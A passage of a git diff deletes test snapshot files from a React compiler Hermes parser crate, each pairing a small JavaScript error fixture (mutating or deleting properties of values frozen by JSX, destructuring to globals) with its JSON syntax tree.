-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    118,
-                    119
-                  ]
-                },
-                "init": {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Foo",
-                      "loc": null,
-                      "range": [
-                        123,
-                        126
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "x",
-                          "loc": null,
-                          "range": [
-                            127,
-                            128
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              130,
-                              131
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            129,
-                            132
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          127,
-                          132
-                        ]
-                      }
-                    ],
-                    "selfClosing": false,
-                    "loc": null,
-                    "range": [
-                      122,
-                      133
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": {
-                    "type": "JSXClosingElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "Foo",
-                      "loc": null,
-                      "range": [
-                        135,
-                        138
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      133,
-                      139
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    122,
-                    139
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  118,
-                  139
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              114,
-              140
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  143,
-                  149
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    150,
-                    151
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                143,
-                152
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              143,
-              153
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "t",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                190,
-                191
-              ]
-            },
-            "loc": null,
-            "range": [
-              183,
-              192
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          25,
-          194
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        194
-      ],
-      "loc": null,
-      "range": [
-        0,
-        194
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    194
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-computed-store-to-frozen-value.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-computed-store-to-frozen-value.js.snap
deleted file mode 100644
index 255c2fc00d9a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-computed-store-to-frozen-value.js.snap
+++ /dev/null
@@ -1,268 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-computed-store-to-frozen-value.js
----
-Input:
-function Component(props) {
-  const x = makeObject();
-  // freeze
-  <div>{x}</div>;
-  x[0] = true;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      50
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              53
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    69,
-                    72
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  68,
-                  73
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      74,
-                      75
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    73,
-                    76
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    78,
-                    81
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  76,
-                  82
-                ]
-              },
-              "loc": null,
-              "range": [
-                68,
-                82
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              68,
-              83
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    86,
-                    87
-                  ]
-                },
-                "property": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    88,
-                    89
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  86,
-                  90
-                ]
-              },
-              "right": {
-                "type": "BooleanLiteral",
-                "value": true,
-                "loc": null,
-                "range": [
-                  93,
-                  97
-                ]
-              },
-              "loc": null,
-              "range": [
-                86,
-                97
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              86,
-              98
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                108,
-                109
-              ]
-            },
-            "loc": null,
-            "range": [
-              101,
-              110
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          112
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        112
-      ],
-      "loc": null,
-      "range": [
-        0,
-        112
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    112
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-delete-computed-property-of-frozen-value.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-delete-computed-property-of-frozen-value.js.snap
deleted file mode 100644
index 1a45014af33b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-delete-computed-property-of-frozen-value.js.snap
+++ /dev/null
@@ -1,261 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-delete-computed-property-of-frozen-value.js
----
-Input:
-function Component(props) {
-  const x = makeObject();
-  // freeze
-  <div>{x}</div>;
-  delete x[y];
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      50
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              53
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    69,
-                    72
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  68,
-                  73
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      74,
-                      75
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    73,
-                    76
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    78,
-                    81
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  76,
-                  82
-                ]
-              },
-              "loc": null,
-              "range": [
-                68,
-                82
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              68,
-              83
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "UnaryExpression",
-              "operator": "delete",
-              "prefix": true,
-              "argument": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    93,
-                    94
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    95,
-                    96
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  93,
-                  97
-                ]
-              },
-              "loc": null,
-              "range": [
-                86,
-                97
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              86,
-              98
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                108,
-                109
-              ]
-            },
-            "loc": null,
-            "range": [
-              101,
-              110
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          112
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        112
-      ],
-      "loc": null,
-      "range": [
-        0,
-        112
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    112
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-delete-property-of-frozen-value.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-delete-property-of-frozen-value.js.snap
deleted file mode 100644
index 3fb104248ca5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-delete-property-of-frozen-value.js.snap
+++ /dev/null
@@ -1,261 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-delete-property-of-frozen-value.js
----
-Input:
-function Component(props) {
-  const x = makeObject();
-  // freeze
-  <div>{x}</div>;
-  delete x.y;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "makeObject",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      50
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              53
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    69,
-                    72
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  68,
-                  73
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      74,
-                      75
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    73,
-                    76
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    78,
-                    81
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  76,
-                  82
-                ]
-              },
-              "loc": null,
-              "range": [
-                68,
-                82
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              68,
-              83
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "UnaryExpression",
-              "operator": "delete",
-              "prefix": true,
-              "argument": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    93,
-                    94
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    95,
-                    96
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  93,
-                  96
-                ]
-              },
-              "loc": null,
-              "range": [
-                86,
-                96
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              86,
-              97
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                107,
-                108
-              ]
-            },
-            "loc": null,
-            "range": [
-              100,
-              109
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          111
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        111
-      ],
-      "loc": null,
-      "range": [
-        0,
-        111
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    111
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-destructure-assignment-to-global.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-destructure-assignment-to-global.js.snap
deleted file mode 100644
index 015653830b79..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-destructure-assignment-to-global.js.snap
+++ /dev/null
@@ -1,169 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-destructure-assignment-to-global.js
----
-Input:
-function useFoo(props) {
-  [x] = props;
-  return { x };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "useFoo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          15
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            21
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "ArrayPattern",
-                "elements": [
-                  {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      28,
-                      29
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  27,
-                  30
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  33,
-                  38
-                ]
-              },
-              "loc": null,
-              "range": [
-                27,
-                38
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              27,
-              39
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      52
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      51,
-                      52
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": true,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                49,
-                54
-              ]
-            },
-            "loc": null,
-            "range": [
-              42,
-              55
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          23,
-          57
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        57
-      ],
-      "loc": null,
-      "range": [
-        0,
-        57
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    57
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-destructure-to-local-global-variables.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-destructure-to-local-global-variables.js.snap
deleted file mode 100644
index 79bcbe9376a8..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-destructure-to-local-global-variables.js.snap
+++ /dev/null
@@ -1,218 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-destructure-to-local-global-variables.js
----
-Input:
-function Component(props) {
-  let a;
-  [a, b] = props.value;
-
-  return [a, b];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  34,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              36
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "ArrayPattern",
-                "elements": [
-                  {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      41
-                    ]
-                  },
-                  {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      43,
-                      44
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  39,
-                  45
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    53
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "value",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    54,
-                    59
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  48,
-                  59
-                ]
-              },
-              "loc": null,
-              "range": [
-                39,
-                59
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              39,
-              60
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    72,
-                    73
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    75,
-                    76
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                71,
-                77
-              ]
-            },
-            "loc": null,
-            "range": [
-              64,
-              78
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          80
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        80
-      ],
-      "loc": null,
-      "range": [
-        0,
-        80
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    80
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-freeze-conditionally-mutable-lambda.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-freeze-conditionally-mutable-lambda.js.snap
deleted file mode 100644
index d56f302c4e02..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.invalid-freeze-conditionally-mutable-lambda.js.snap
+++ /dev/null
@@ -1,452 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.invalid-freeze-conditionally-mutable-lambda.js
----
-Input:
-function Component(props) {
-  const x = {};
-  let fn;
-  if (props.cond) {
-    // mutable
-    fn = () => {
-      x.value = props.value;
-    };
-  } else {
-    // immutable
-    fn = () => {
-      x.value;
-    };
-  }
-  return fn;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "fn",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    52
-                  ]
-                },
-                "init": null,
-                "loc": null,
-                "range": [
-                  50,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              46,
-              53
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  60,
-                  65
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  66,
-                  70
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                60,
-                70
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "fn",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        93,
-                        95
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "AssignmentExpression",
-                              "operator": "=",
-                              "left": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "x",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    112,
-                                    113
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "value",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    114,
-                                    119
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  112,
-                                  119
-                                ]
-                              },
-                              "right": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "props",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    122,
-                                    127
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "value",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    128,
-                                    133
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  122,
-                                  133
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                112,
-                                133
-                              ]
-                            },
-                            "directive": null,
-                            "loc": null,
-                            "range": [
-                              112,
-                              134
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          104,
-                          140
-                        ]
-                      },
-                      "generator": false,
-                      "async": false,
-                      "loc": null,
-                      "range": [
-                        98,
-                        140
-                      ],
-                      "expression": false,
-                      "loc": null,
-                      "range": [
-                        98,
-                        140
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      93,
-                      140
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    93,
-                    141
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                72,
-                145
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "Identifier",
-                      "name": "fn",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        174,
-                        176
-                      ]
-                    },
-                    "right": {
-                      "type": "ArrowFunctionExpression",
-                      "id": null,
-                      "params": [],
-                      "body": {
-                        "type": "BlockStatement",
-                        "body": [
-                          {
-                            "type": "ExpressionStatement",
-                            "expression": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "x",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  193,
-                                  194
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "value",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  195,
-                                  200
-                                ]
-                              },
-                              "computed": false,
